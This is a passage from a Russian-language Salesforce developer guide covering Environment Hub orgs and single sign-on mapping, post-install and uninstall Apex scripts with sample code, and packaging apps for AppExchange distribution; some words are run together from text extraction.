Вы можете создавать организации в Рабочем центре для разработки, тестирования и
пробного использования. Если вы являетесь партнером   независимым поставщиком
ПО, вы можете также создавать организации выпусков для партнеров с меньшим
количеством ограничений, большим пространством хранения и другими
пользовательскимипредпочтениями, которыенеобходимыдляразработкиприложений.
ПрисозданииорганизацииизРабочегоцентраона становится участникомцентра. Язык
по умолчанию для этой организации устанавливается в соответствии с локальными
настройками пользователя.

Прим.: В день можно создавать до 20 организаций-участников. Чтобы получить
возможность создавать большее количество организаций, зарегистрируйте
обращение в партнерском сообществе.

1. Войдите в Рабочий центр и выберите пунктСоздать организацию.

2. Выберите цель организации.

Позволяет создавать:Назначение

Организации Developer Edition предназначены для создания и упаковки приложений.Разработка
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Позволяет создавать:Назначение

ПробныеверсиистандартныхорганизацийSalesforceдля тестированияидемонстрационных
версий. Эти организации сходны с организациями, которые клиенты создают на странице

Тестирование/демонстрация

www.salesforce.com/trial. При созданииорганизации для тестирования или демонстрации вы
можете указать шаблон Trialforce, если вам необходимо, чтобы организация содержала
пользовательские изменения, внесенные вами.

Исходные организации Trialforce (TSO) представляют собой альтернативу использованию
организацииуправленияTrialforce. Есливамненуженпользовательскийбрендингнастранице

Trialforce

входа или в сообщениях электронной почты, используйте Рабочий центр для создания
исходной организации Trialforce.

3. Введите необходимую информацию для выбранного типа организации.

4. Прочтите Основное соглашение о подписке и установите соответствующийфлажок.

5. Выберите Create.

Когда ваша организация будет готова, вы получите подтверждение по электронной почте, а созданная организация
появится в вашем списке участников Центра.

Единая регистрация в Рабочем центре

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Разработка, тестирование и развертывание приложений подразумевает переключение
между несколькими средами Salesforce с предоставлением данных для входа при каждом
таком переключении. Функция единой регистрации (SSO) упрощает этот процесс:
пользователи Рабочего центра могут входить в организации-участники без повторной
проверкиподлинности. Выможетенастроить единуюрегистрациюпутемопределения
пользовательских сопоставлений при помощиидентификаторов интегрирования или
создав формулу.

Рабочий центр поддерживает следующие методы единой регистрации для
сопоставленных пользователей.

ОписаниеМетод единой
регистрации

Сопоставление пользователей Рабочего центра с
пользователями организации-участника вручную.

Сопоставленные
пользователи

Сопоставленные пользователи — это метод по
умолчанию для сопоставления пользователей единой
регистрации, задаваемый на странице сведений об
участнике.

Сопоставление пользователей с одним и тем же
идентификатором интегрирования в Рабочем центре и
в организации-участнике.

Код интегрирования

Сопоставление пользователя в Рабочем центре и в
организации-участнике в соответствии с задаваемой
формулой.

Формула имени
пользователя
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Если вы зададите несколько методов выполнения единой регистрации, они будут оцениваться в следующем порядке: (1)
Сопоставленные пользователи, (2) Идентификатор интегрирования и (3) Формула имени пользователя. Первый метод,
при котором возникает совпадение, используется для выполнения пользователем входа, при этом другие методы
игнорируются. Еслипользователя, длякоторогонайденосовпадение, неудаетсяраспознать, Рабочийцентрперенаправляет
пользователя на стандартную страницу входа Salesforce.

Прим.: Единая регистрация недоступна недавно добавленным пользователям или при определении соотнесений
пользователя в безопасной организации. Добавлять пользователей, редактировать сведения о пользователях или
определять соотнесения пользователя SSO следует только в родительской организации.

Включение единой регистрации для организации-участника
Вы можете включить единую регистрацию (SSO), чтобы пользователи Рабочего центра могли входить в
организацию-участник без повторной проверки подлинности.

Определение соотнесения пользователя единой регистрации
Вы можете вручную задать соотнесение пользователей для функции единой регистрации между пользователем
Рабочего центра и пользователем организации-участника. Перед тем как задать сопоставление пользователей,
включите единую регистрацию в организации-участнике центра.

Использование идентификатора интегрирования или формулы для единой регистрации
Вы можете сопоставить пользователя Рабочего центра с пользователем организации-участника при помощи
идентификатораинтегрированияилиформулыимени. Внезависимостиоттого, какойметодиспользуется, необходимо
включить механизм единой регистрации (SSO) для организации-участника центра.

Отключение единой регистрации для организации-участника
Если вы хотите, чтобы пользователи Рабочего центра проходили повторную проверку подлинности при входе в
организацию-участник, вы можете отключить единую регистрацию. В этом случае заданные вами сопоставления
пользователей не будут удалены, поэтому всегда можно снова включить единую регистрацию.

Включение единой регистрации для организации-участника

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки Рабочего
центра:
• «Управление Рабочим

центром»

Выможете включить единую регистрацию (SSO), чтобы пользователи Рабочего центра
могли входить в организацию-участник без повторной проверки подлинности.

1. Войдите в Рабочий центр и выберите организацию-участника. Если вы не видите
ни одной организации-участника, проверьте списковое представление.

2. Установите флажок «Включить единую регистрацию».

3. Подтвердите, что вы хотите включить единую регистрацию для этой организации,
и снова выберите пунктВключить единую регистрацию.

Определение соотнесения пользователя единой регистрации

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки Рабочего
центра:
• «Управление Рабочим

центром»

Выможетевручнуюзадатьсоотнесениепользователейдляфункцииединойрегистрации
между пользователемРабочего центра и пользователем организации-участника. Перед
тем как задать сопоставление пользователей, включите единую регистрацию в
организации-участнике центра.

Соотнесения пользователей могут быть основаны на взаимосвязи «многие к одному»
(ноне «одинкомногим»). Другимисловами, выможете связатьнесколькопользователей
Рабочего центра с одним пользователем организации-участника. Например, если вы
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хотели, чтобычленыгруппыконтролякачествамогливходитьворганизациютестированиякакодинитотжепользователь,
можно настроить сопоставления пользователей.

1. Войдите в Рабочий центр и выберите организацию-участника. Если вы не видите ни одной организации-участника,
проверьте списковое представление.

2. Перейдите к списку «Сопоставления пользователей для единой регистрации», после чего выберитеСоздать
сопоставление пользователей для единой регистрации.

3. Введите имя нужного пользователя, которого требуется сопоставить в организации-участнике, после чего найдите
этого пользователя в Рабочем центре.

4. Нажмите кнопку «Сохранить».

Использование идентификатора интегрирования или формулы для единой регистрации

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки Рабочего
центра:
• «Управление Рабочим

центром»

Вы можете сопоставить пользователя Рабочего центра с пользователем
организации-участника при помощи идентификатора интегрирования или формулы
имени. Вне зависимости от того, какой метод используется, необходимо включить
механизм единой регистрации (SSO) для организации-участника центра.

1. Войдите в Рабочий центр и выберите организацию-участника. Если вы не видите
ни одной организации-участника, проверьте списковое представление.

2. Перейдите в параметры единой регистрации и выберите нужный метод.

ДействияМетод

Установите нужныйфлажок.Метод единой регистрации 2:

идентификатор интегрирования

Отметьте флажком нужный пункт и задайте
формулу. Например, чтобыперваячастьимени

Метод единой регистрации 3:

формула имени пользователя
пользователя (часть до значка «@») совпадала
с явным именем домена, введите:

LEFT($User.Username, FIND("@",
$User.Username)) & ("mydev.org")

3. Нажмите кнопку «Сохранить».

Отключение единой регистрации для организации-участника

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки Рабочего
центра:
• «Управление Рабочим

центром»

Если вы хотите, чтобыпользователиРабочего центра проходили повторнуюпроверку
подлинности при входе в организацию-участник, вы можете отключить единую
регистрацию. В этом случае заданные вами сопоставления пользователей не будут
удалены, поэтому всегда можно снова включить единую регистрацию.

1. Войдите в Рабочий центр и выберите организацию-участника. Если вы не видите
ни одной организации-участника, проверьте списковое представление.

2. Установите флажок «Отключить единую регистрацию».

3. Подтвердите, что выхотите отключить единуюрегистрациюдля этойорганизации,
и снова выберите пунктОтключить единую регистрацию.
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Рекомендации по использованию Рабочего центра

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Следуйте этим рекомендациям и советам при использовании Рабочего центра.

• Если вы являетесь администратором или разработчиком, в качестве
организации-центравыберитеорганизацию, которуювашиспециалистыиспользуют
наиболее часто. Если вы являетесь партнером   независимым поставщикомПО,
Рабочий центр уже установлен в вашей партнерской организации.

• Настройте функцию «Мой домен» для каждой организации-участника и
организации-центра. Посколькукаждыйобъект «Мойдомен» содержитуникальный
URL домена, становится легче различать организации-участники, которые
используются для разработки, тестирования и пробного использования.

• Каждая организация-участник является стандартным объектом (типа
EnvironmentHubMember), позволяющим изменять алгоритмы или предоставлять
доступ программным способом. Например, система позволяет создавать настраиваемые поля, настраивать
бизнес-правила илиопределять соотнесенияпользователейи включатьфункциюединойрегистрациипосредством
интерфейса API для любой организации-участника.

• Выберите стратегию для включения доступа посредством единой регистрации с учетом требований безопасности
организации. Затемвыберитеметод единойрегистрации (явное сопоставление, идентификаторинтегрированияили
настраиваемая формула), который соответствует вашим потребностям.

• Единаярегистрациянедоступнанедавнодобавленнымпользователямилиприопределениисоотнесенийпользователя
в безопасной организации. Добавлять пользователей, редактировать сведения о пользователях или определять
соотнесения пользователя SSO следует только в родительской организации.

• Связанное приложение «Рабочийцентр» предназначено только для внутреннего пользования. Не включайте его для
всех профилей. Не удаляйте связанное приложение и не изменяйте его параметры без рекомендации компании
Salesforce.

Исправление ошибок тестирования Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

Недостаточное тестовое покрытие Apex может инициировать отмену установки или
обновленияпакета. Темнеменее, некоторыеошибкимогутбытьпропущены. Например,
разработчик может создать тест Apex, генерирующий предположения о данных
подписчика.

Подписчик, который не может установить пакет ввиду теста Apex, должен обратиться к
разработчику пакета.

Разработчик должен выполнить указанные ниже действия при неудачной установке
пакета ввиду ошибки тестирования Apex.

• Убедитесь в наличии всех обязательных данных для теста Apex взамен использования текущих данных подписчика.

• Если подписчик создает правило проверки, обязательное поле или триггер для объекта, используемого пакетом, то
тест может быть неудачным при выполнении DML для данного объекта. Если данный объект создается только для
тестирования, а данныеконфликтыпрепятствуютзавершениюпроцесса создания, топользовательможетпропустить
ошибку и продолжить тест. В противном случае обратитесь к клиенту для определения возможных последствий.

Выполнение Apex при установке или обновлении пакета
Разработчики приложения могут задать автоматическое выполнение сценария Apex после установки или обновления
управляемого пакета подписчиком. Данная возможность позволяет настраивать процесс установки или обновления
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пакета на основе сведенийоборганизацииподписчика. Примерыиспользования сценариев: заполнениенастраиваемых
параметров, создание тестовых данных, отправка сообщений эл. почты установщикам пакетов, уведомление внешней
системы и внедрение пакетного заполнения нового поля в большом наборе данных. Для удобства можно задать всего
один сценарий пост-установки. Этот сценарий должен быть представлен классом Apex, являющимся элементом пакета.

Сценарий пост-установки реализуется после выполнения тестов и подчиняется стандартным контролирующим
ограничениям. Сценарий выполняется специальным пользователем системы, представляющим пакет, поэтому все
операции, выполненные сценарием, фактически выполнены пакетом. Данный пользователь доступен посредством
команды UserInfo. Пользователь может быть просмотрен только при выполнении, но не во время тестов.

Если сценарий содержит ошибку, то процесс установки или обновления прерывается. Все ошибки, обнаруженные в
сценарии, отправляются по эл. почте пользователю, указанному в поле пакете «Уведомить об ошибке Apex». Если
пользователь не указан, то сведения об установке или обновлении будут недоступны.

Ниже перечислены дополнительные свойства сценария пост-установки.

• Сценарий может инициировать пакетные, запланированные и будущие задания.

• Сценарию недоступны коды сеансов.

• Выноски сценария могут выполняться только с помощью асинхронных операций. Выноски выполняются после
запуска сценария и завершения установки.

Прим.: Сценарий пост-установки не может быть выполнен в новой пробной организации, инициализированной
посредством Trialforce. Сценарий выполняется только в том случае, если подписчик устанавливает пакет в текущую
организацию.

Как работает сценарий пост-установки?

Пример сценария пост-установки

Выбор сценария пост-установки

Как работает сценарий пост-установки?
Сценарийпост-установки — этоклассApex, реализующийинтерфейс InstallHandler. Данныйинтерфейсиспользует
один метод onInstall, который определяет действия, выполняемые при установке.

global interface InstallHandler {
void onInstall(InstallContext context)

}

Метод onInstall принимает объект контекста за аргумент, содержащий указанные ниже сведения.

• Код организации, в которой выполняется установка.

• Код пользователя, инициировавшего установку.

• Номер предыдущей версии пакета (указывается посредством класса Version). Данный номер всегда содержит три
цифры (например, 1.2.0).

• Указание на то, что устанавливаемый пакет является обновлением.

• Указание на то, что устанавливаемый пакет является активной доставкой.
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Аргументконтекста — этообъект, типукоторогозаданинтерфейс InstallContext. Данныйинтерфейсавтоматически
реализуется системой. Ниже приведено определение интерфейса InstallContext, которое содержит методы,
доступные для вызова в аргументе контекста.

global interface InstallContext {
ID organizationId();
ID installerId();
Boolean isUpgrade();
Boolean isPush();
Version previousVersion();

}

Методы и класс Version

Методы, доступные в классе System.Version, позволяютизвлекать версиюуправляемого пакета и сравнивать версии
пакета. Версия пакета — это номер, который определяет набор компонентов, загруженных в пакет. Для номера версии
используется следующийформат: основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной и
дополнительныйномера увеличиваютсяна выбранное значениеприкаждомосновномвыпуске. Инкрементыосновного
и дополнительного номеров всегда используют номер исправления «0».

Ниже перечислены методы экземпляра для класса System.Version.

ОписаниеТип возвратаАргументыМетод

Данный метод сравнивает текущую и
указанную версии и возвращает одно из
следующих значений.

Целое числоSystem.Version версияcompareTo

• Ноль, еслитекущаяиуказаннаяверсии
пакета совпадают.

• Целоеположительное значение, если
текущая версия пакета следует за
указанной версией.

• Целое отрицательное значение, если
текущая версия пакета предшествует
указанной версии.

При сравнении двухсоставной версии с
трехсоставной номер исправления
пропускается, так как сопоставляются
только основные и дополнительные
номера.

Данный метод возвращает основную
версию пакета для вызывающего кода.

Целое числоmajor

Данный метод возвращает
дополнительную версию пакета для
вызывающего кода.

Целое числоminor

Данный метод возвращает версию
исправления для вызывающего кода или

Целое числоpatch

значение null в случае отсутствия
версии исправления.
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Класс System содержит два метода, которые позволяют задавать условнуюлогику и разрешают разным версиямпакета
демонстрировать разные алгоритмы действий.

• System.requestVersion. Данный метод возвращает двухсоставную версию, которая содержит основной и
дополнительный номера версии пакета.Используя данный метод, пользователи могут определить версию
установленного экземплярапакета, которыйсодержитвызывающийкод, ссылающийсянапакет. Опираясьна версию
вызывающего кода, пользователи могут настроить алгоритм действий для кода пакета.

• System.runAs(System.Version). Данный метод меняет текущую версию пакета на версию пакета, указанную
в аргументе.

Если подписчик устанавливает несколько версий пакета и создает код, ссылающийся на классы или триггеры Apex,
доступные впакете, тонеобходимо выбрать версиюпакета, на которуюссылается этот код. Опираясьнапараметр версии
для вызывающегокодаApex, содержащегоссылки, пользователимогут выполнятьразныеветкикодаApex, используемого
в пакете. Чтобы определить параметр версии пакета для вызывающего кода, воспользуйтесь методом
System.requestVersion в коде пакета.

СМ. ТАКЖЕ:

Руководство разработчика Apex: класс Version

Пример сценария пост-установки
Пример сценария пост-установки ниже содержит следующие действия, выполняемые при установке или обновлении
пакета.

• Если значение предыдущей версии равно нулю, то есть пакет устанавливается впервые, то:

– создается организация с именем 'Newco' и проверяется ее создание;

– создается экземпляр настраиваемого объекта Survey с именем 'Client Satisfaction Survey';

– подписчику отправляется сообщение эл. почты, подтверждающее установку пакета.

• Если значение предыдущей версии равно 1.0, то создается экземпляр Survey с именем 'Upgrading from Version 1.0'.

• Если пакет является обновлением, то создается экземпляр Survey с именем 'Sample Survey during Upgrade'.

• Еслиобновление выполняетсяпосредством активнойдоставки, то создается экземпляр Survey с именем 'Sample Survey
during Push'.

global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
if(context.previousVersion() == null) {
Account a = new Account(name='Newco');
insert(a);

Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
insert obj;

User u = [Select Id, Email from User where Id =:context.installerID()];
String toAddress= u.Email;
String[] toAddresses = new String[]{toAddress};
Messaging.SingleEmailMessage mail =
new Messaging.SingleEmailMessage();

mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
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mail.setSubject('Package install successful');
mail.setPlainTextBody('Thanks for installing the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}

else
if(context.previousVersion().compareTo(new Version(1,0)) == 0) {
Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
insert(obj);
}

if(context.isUpgrade()) {
Survey__c obj = new Survey__c(name='Sample Survey during Upgrade');
insert obj;
}

if(context.isPush()) {
Survey__c obj = new Survey__c(name='Sample Survey during Push');
insert obj;
}

}
}

Сценарий пост-установки может быть протестирован посредством нового метода testInstall, доступного в классе
Test. Ниже перечислены аргументы, принимаемые данным методом.

• Класс, реализующий интерфейс InstallHandler.

• Объект Version, определяющий номер версии текущего пакета.

• Дополнительное логическое значение, отображающееся как true в случае активной доставки устанавливаемого
пакета. Значение по умолчанию: false.

Ниже приведен пример тестирования сценария пост-установки, реализованного в классе Apex PostInstallClass.

@isTest
static void testInstallScript() {
PostInstallClass postinstall = new PostInstallClass();
Test.testInstall(postinstall, null);
Test.testInstall(postinstall, new Version(1,0), true);
List<Account> a = [Select id, name from Account where name ='Newco'];
System.assertEquals(a.size(), 1, 'Account not found');

}

Выбор сценария пост-установки
Созданныйипротестированныйсценарийпост-установкиможетбытьвыбранвполепоиска«Сценарийпост-установки»
на странице сведений о пакете. Последующие версии исправления позволяют изменять содержимое сценария, но не
класса Apex.

Кроме того, класс может быть выбран посредством Metadata API как Package.postInstallClass. Данный класс
представлен в файле package.xml как элемент <postInstallClass>foo</postInstallClass>.

Выполнение Apex при удалении пакета
Разработчикиприложениямогут задать автоматическое выполнение сценарияApexпосле удаления управляемогопакета
подписчиком. Данная возможность позволяет выполнять задачи по очистке и уведомлению на основе сведений об
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организации подписчика. Для удобства можно задать всего один сценарий удаления. Этот сценарий должен быть
представлен классом Apex, являющимся элементом пакета.

Сценарий удаления подчиняется стандартным контролирующим ограничениям. Сценарий выполняется специальным
пользователемсистемы, представляющимпакет, поэтомувсеоперации, выполненныесценарием, фактическивыполнены
пакетом. Данный пользователь доступен посредством команды UserInfo. Пользователь может быть просмотрен только
при выполнении, но не во время тестов.

Еслисценарийсодержитошибку, топроцессудаленияпродолжаетсябезсохраненияизменений, выполненныхсценарием.
Всеошибки, обнаруженныев сценарии, отправляютсяпо эл. почтепользователю, указанному вполепакете «Уведомить
об ошибке Apex». Если пользователь не указан, то сведения об удалении будут недоступны.

Ниже перечислены ограничения, характерные для сценария удаления. Данный сценарий не позволяет инициировать
пакетные, запланированные и будущие задания, а также просматривать коды сеансов и выполнять выноски.

Как работает сценарий удаления?

Пример сценария удаления

Выбор сценария удаления

Как работает сценарий удаления?
Сценарий удаления — это класс Apex, реализующий интерфейс UninstallHandler. Данный интерфейс использует
один метод onUninstall, который определяет действия, выполняемые при удалении.

global interface UninstallHandler {
void onUninstall(UninstallContext context)

}

Метод onUninstall принимает объект контекста за аргумент, содержащий указанные ниже сведения.

• Код организации, в которой выполняется удаление.

• Код пользователя, инициировавшего удаление.

Аргумент контекста — это объект, типу которого задан интерфейс UninstallContext. Данный интерфейс
автоматическиреализуетсясистемой. Нижеприведеноопределениеинтерфейса UninstallContext, котороесодержит
методы, доступные для вызова в аргументе контекста.

global interface UninstallContext {
ID organizationId();
ID uninstallerId();

}

Пример сценария удаления
Пример сценария удаления ниже содержит следующие действия, выполняемые при удалении пакета.

• Добавление записивеб-канала, содержащейимяпользователя, выполнившегоудаление, иназвание соответствующей
организации.

• Создание сообщения эл. почты, подтверждающего удаление, и его отправка этому пользователю.

global class UninstallClass implements UninstallHandler {
global void onUninstall(UninstallContext ctx) {
FeedItem feedPost = new FeedItem();
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feedPost.parentId = ctx.uninstallerID();
feedPost.body = 'Thank you for using our application!';
insert feedPost;

User u = [Select Id, Email from User where Id =:ctx.uninstallerID()];
String toAddress= u.Email;
String[] toAddresses = new String[] {toAddress};
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package uninstall successful');
mail.setPlainTextBody('Thanks for uninstalling the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });

}
}

Сценарийудаленияможетбытьпротестированпосредствомметода testUninstall, доступноговклассе Test. Данный
метод принимает класс, реализующий интерфейс UninstallHandler, за аргумент.

Ниже приведен пример тестирования сценария удаления, реализованного в классе Apex UninstallClass.

@isTest
static void testUninstallScript() {
Id UninstallerId = UserInfo.getUserId();
List<FeedItem> feedPostsBefore =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];

Test.testUninstall(new UninstallClass());
List<FeedItem> feedPostsAfter =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];

System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
'Post to uninstaller failed.');

}

Выбор сценария удаления
Созданный, протестированныйи добавленный в качестве элемента пакета сценарий удаленияможет быть выбран в поле
поиска «Сценарий удаления» на странице сведений о пакете. Последующие версии исправления позволяют изменять
содержимое сценария, но не класса Apex.

Кроме того, класс может быть выбран посредством Metadata API как Package.uninstallClass. Данный класс
представлен в файле package.xml как элемент <uninstallClass>foo</uninstallClass>.
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Разработка документации к приложению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены типы документов, рекомендованные компанией Salesforce для
публикации вместе с приложением в каталоге AppExchange.

Параметр «Настроить»
Установщикам приложения может быть предоставлен доступ к параметру
«Настроить». Данный параметр может ссылаться на следующие сведения об
установке и настройке:

• Инициализация внешней службы составного приложения

• Параметры настраиваемого приложения

Параметр «Настроить» добавляется в пакет в виде настраиваемой ссылки.
Пользовательможетсоздатьнастраиваемуюссылкудлямакетовначальнойстраницы
и добавить ее в пакет.

1. Создайте настраиваемую ссылку на URL-адрес, содержащий сведения о конфигурации, или страницу Visualforce,
использующуюданнуюконфигурацию. Чтобывозвращатьпользователя, завершившегоработу, натужестраницу
Salesforce, выберитесвойствоотображения «Открывать в новом всплывающем окне» присозданиинастраиваемой
ссылки.

2. При создании пакета выберите данную настраиваемую ссылку в поле «Настроить настраиваемую ссылку» на
странице сведений о пакете.

Спецификация
Предоставьте установщикам основные сведения о приложении, которые необходимо знать до его установки.

Руководство по настройке и внесениюизменений
Уведомитеустановщиковобобязательныхнастройках, которыедолжныбытьвыполненыпослевнедренияприложения.

Настраиваемая справка
Настраиваемая справка может быть создана для записей настраиваемых объектов и настраиваемых полей.

СМ. ТАКЖЕ:

Общие сведения о пакетах

Назначение издателей Force.com AppExchange
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Назначение издателей Force.com AppExchange

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
полномочий:
• «Настройка

приложения»

Ниже перечисленыполномочия, которые должныбыть предоставленыпользователям,
публикующим пакеты в каталог AppExchange.

Создание пакетов Force.com AppExchange
Данное полномочие позволяет создавать пакеты и добавлять компоненты.

Передача пакетов Force.com AppExchange
Данноеполномочиепозволяет загружатьирегистрироватьилипубликоватьпакеты
в каталог AppExchange.

Профилю «Системный администратор» автоматически назначаются оба полномочия.
Выберите пользователей, которым должны быть предоставлены данные полномочия,
и добавьте их в соответствующие наборы полномочий или профили пользователя.

СМ. ТАКЖЕ:

Общие сведения о пакетах

Разработка документации к приложению
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Преобразование неуправляемых пакетов в управляемые

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
разработчика:
• «Настройка

приложения»

Для создания пакетов:
• «Создание пакетов

AppExchange»

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Возможно, организация уже загружала и регистрировала пакеты в каталоге Force.com
AppExchange. Все пакеты, загруженные до выпуска Winter'07, являются неуправляемыми,
поэтому не могут быть обновлены в организации установщика. Чтобы преобразовать
данныепакетыв управляемые, настройтеподдержку управляемыхпакетов ворганизации
и выберите нужный пакет. Данный алгоритм позволяет уведомлять установщиков о
наличии обновлений.

Прежде чем преобразовать текущий пакет в управляемый, сообщите текущим
установщикам способ сохранения их данных.

1. Экспортируйте все данные из предыдущей неуправляемой версии пакета.

2. Удалите неуправляемый пакет.

3. Установите новую управляемую версию пакета.

4. Импортируйте все экспортированные данные в новый управляемый пакет.

Прим.: Примечание для установщиков. Прежде чем удалить пакет, составьте
список настроек, заданных для установленного неуправляемого пакета (приих
наличии). Данные настройки могут пригодиться в будущем. Тем не менее,
управляемый пакет может поддерживать не все настройки.

Чтобыпреобразовать неуправляемыйпакет в управляемый, выполните указанныениже
действия.

1. Включите поддержку управляемых пакетов в организации.

2. Введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пакеты».

3. Измените нужный пакет и нажмите кнопку «Управляемый».

Внимание: Преобразование неуправляемого пакета в управляемый требует
регистрации префикса пространства имен, влияющей на уникальные API-имена
компонентов пакета (например, настраиваемые поля или элементы S-Control).
Элементы S-Control, хранящиеся в библиотеке элементов S-Control или на вкладке
«Документы» и не использующие Force.com API, работают корректно даже после
регистрации префикса пространства имен. Тем не менее, элементы S-Control,
хранящиесявнеорганизации, илиэлементы S-Control, использующиеForce.com API
для вызова Salesforce, могут требовать более точной настройки. Дополнительную
информацию см. в статье S-Control раздела Object Reference.

СМ. ТАКЖЕ:

Управление пакетами

Создание управляемых пакетов
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Распространение приложений

Подготовка приложений к распространению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания пакетов:
• «Создание пакетов

AppExchange»

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Определитестатуспакета, готовогокраспространению: управляемыйилинеуправляемый.

1. Чтобы создать пакет, выполните указанные ниже действия.

a. Введите строку «Пакеты» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пакеты».

b. Нажмите кнопку «Создать».

c. Введитеимяпакета. Данноеимяможетотличатьсяотимени, указанноговкаталоге
AppExchange.

d. Выберите язык по умолчанию для всех меток компонентов, доступных в пакете,
в раскрывающемся меню «Язык».

e. При необходимости выберите настраиваемую ссылку в поле «Настроить
настраиваемую ссылку» для отображения установщикам приложения сведений
о конфигурации. Выберите предопределенную настраиваемую ссылку на
URL-адрес или элемент S-Сontrol, созданную для макетов начальной страницы
(см. определение «Параметр "Настроить"»настранице5997). Настраиваемаяссылка
отображается как ссылка «Настроить» в системе Salesforce на странице загрузки
Force.com AppExchange и на странице сведений о приложении в организации
установщика.

f. При необходимости заполните поле «Уведомить об ошибке Apex» именем
пользователя, которому должно быть отправлено электронное уведомление о
возникновении ошибки в коде Apex, которая не может быть обнаружена самим
кодом Apex. В противном случае электронное уведомление обо всех необрабатываемых ошибках отправляется в
компанию Salesforce. Данная возможность доступна только для управляемых пакетов.

Прим.: Пакетирование Apex доступно только организациям Developer Edition, Enterprise Edition, Unlimited
Edition и Performance Edition.

g. При необходимости введите описание пакета. Данное описание может быть изменено перед загрузкой пакета в
каталог AppExchange.

h. При необходимости укажите сценарий пост-установки. Данный сценарий Apex выполняется в организации
подписчика после установкиили обновления пакета. Дополнительнуюинформациюсм. в разделе «Выполнение
Apex при установке или обновлении пакета».

i. Принеобходимостиукажите сценарийудаления. ДанныйсценарийApex выполняется в организацииподписчика
после удаления пакета. Дополнительную информацию см. в разделе «Выполнение Apex при удалении пакета».

j. Нажмите кнопку «Сохранить».

2. Система Salesforce устанавливает значение «Неограниченный» дляпривилегийAPI-доступа кпакету. Данныйпараметр
позволяетдополнительноограничиватьAPI-доступк компонентам Salesforce впакете. Дополнительнуюинформацию
см. в разделе «Управление доступом посредством API и динамического кода Apex в пакетах» на странице 5977.

3. Добавьте необходимые компоненты для приложения.

a. Нажмите кнопку «Добавить компоненты».
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b. Выберите нужный тип компонента в раскрывающемся списке.

• Чтобыпросмотретьсодержимоестолбцасортировки, начинающеесясопределеннойбуквы, щелкнитенужную
букву вверху списка.

• Чтобы перейти к следующему или предыдущему набору компонентов, щелкните ссылку «Следующая
страница» или «Предыдущая страница» (при их наличии).

• Чтобыпоказатьили скрыть дополнительные записи, щелкните ссылку «меньше»или «больше» внизу списка
(при их наличии).

c. Выберите компоненты для добавления.

d. Нажмите кнопку «Добавить в пакет».

e. Чтобы добавить дополнительные компоненты в пакет, повторите данные действия.

Прим.:

• Некоторыесвязанныекомпонентыдобавляютсявпакетавтоматическидажевтомслучае, еслиониотсутствуют
в списке "Компонентыпакета". Например, придобавлениинастраиваемогообъекта впакет егонастраиваемые
поля, макеты страниц и взаимосвязи со стандартными объектами добавляются автоматически.

• Каждый блок составного отчета, добавляемого в пакет, также добавляется в пакет. Пакет отображает блоки
в видеотчетов, однакопривыбореблокаотображается сообщениеоботсутствиинеобходимыхполномочий
дляпросмотраотчета. Такоеповедение являетсяожидаемым. Вэтомслучае, чтобызапустить составнойотчет,
щелкните имя нужного отчета.

4. Чтобы просмотреть список компонентов, которые зависят от других компонентов, полномочий или параметров
пакета, щелкните «Просмотр зависимостей». Объект может содержать такие элементы, как: элементы S-Control,
стандартные или настраиваемые поля и единые параметры (например, мультивалюта). Пакет может быть установлен
только при условии активации или установки всех перечисленных компонентов. Дополнительную информацию о
зависимостях см. вразделе «Общиесведенияо зависимостях»на странице5980. Чтобывернутьсяна страницусведений
о пакете, нажмите кнопку «Готово».

Прим.: Ниже перечислены элементы, при наличии которых пакеты не могут быть загружены.

• Бизнес-правила или действия бизнес-правил (например, обновления поля или исходящие сообщения),
ссылающиеся на типы записей.

• Отчеты, ссылающиеся на типы отчетов для стандартных объектов.

5. Нажмите кнопку «Загрузить».

Прим.: При создании управляемого пакета для публикации в каталоге AppExchange рекомендуем добавлять в
пакет толькопроверенныеприложения. Дополнительнуюинформациюсм. вразделе «Проверкабезопасности»
